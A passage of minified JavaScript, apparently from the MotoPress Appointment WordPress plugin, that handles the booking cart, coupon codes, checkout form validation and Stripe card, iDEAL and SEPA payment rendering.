h=\"\";switch(t){case\"service_id\":h=e.service.id;break;case\"service_name\":h=e.service.name;break;case\"service_thumbnail\":h=ke(e.service.thumbnail);break;case\"employee_id\":h=e.employee.id;break;case\"employee_name\":h=e.employee.name;break;case\"location_id\":h=e.location.id;break;case\"location_name\":h=e.location.name;break;case\"reservation_date\":h=f(e.date);break;case\"reservation_save_date\":h=f(e.date,\"internal\");break;case\"reservation_time\":h=e.time.toString(\"short\");break;case\"reservation_period\":h=e.time.toString();break;case\"reservation_save_period\":h=e.time.toString(\"internal\");break;case\"reservation_capacity\":h=Se(r(a,a),e.capacity);break;case\"reservation_clients\":h=we(r(a,a),e.capacity);break;case\"reservation_clients_count\":h=e.capacity;break;case\"reservation_price\":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),i.find('[name*=\"{item_id}\"]').each(((t,s)=>{s.name=s.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&i.find(\".cell-people\").addClass(\"mpa-hide\"),i}function be(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let s of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+s.name+\"\u003C\u002Fspan>\",s.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=s.quantity_label+\": \"+s.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd class=\"column-price\">'+_e(s.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+u(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=u(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=_e(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+u(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+u(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=\".\",i=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",i=g(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(s,\"\")}(i));let s='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":i=s+i;break;case\"after\":i+=s;break;case\"before_with_space\":i=s+\"&nbsp;\"+i;break;case\"after_with_space\":i=i+\"&nbsp;\"+s}e\u003C0&&(i=\"-\"+i)}return'\u003Cspan class=\"'+a+'\">'+i+\"\u003C\u002Fspan>\"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,s={}){let i=\"\u003Cselect\"+ge(s)+\">\";return i+=we(e,t),i+=\"\u003C\u002Fselect>\",i}function Pe(e,t,s=!1){let i=\"\";return i='\u003Coption value=\"'+e+'\"'+(s?' selected=\"selected\"':\"\")+\">\",i+=t,i+=\"\u003C\u002Foption>\",i}function we(e,t){let s=\"\";for(let i in e)s+=Pe(i,e[i],i==t);return s}function Ce(e,t,s,i){let a=\"\";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return\"\u003Cimg\"+ge({width:t,height:s,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id=\"'+s+'\"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data(\"id\"),s=this.cart.getItem(t),i=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");i.on(\"change\",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(u(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ie(e){const i=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:u(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:t.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),i.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),i.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty(\"name\",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty(\"email\",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&\"undefined\"!==t.currentCustomer.phone&&(this.setProperty(\"phone\",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return c(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new M,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+i),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),s.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(s.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass(\"active\",t),s.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(s?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(s?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=u(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",m().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=u(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+u(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=u(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=u(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name=\"payment\",this.title=u(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,s){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Le extends Fe{setupProperties(){this.name=\"card\",this.title=u(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return 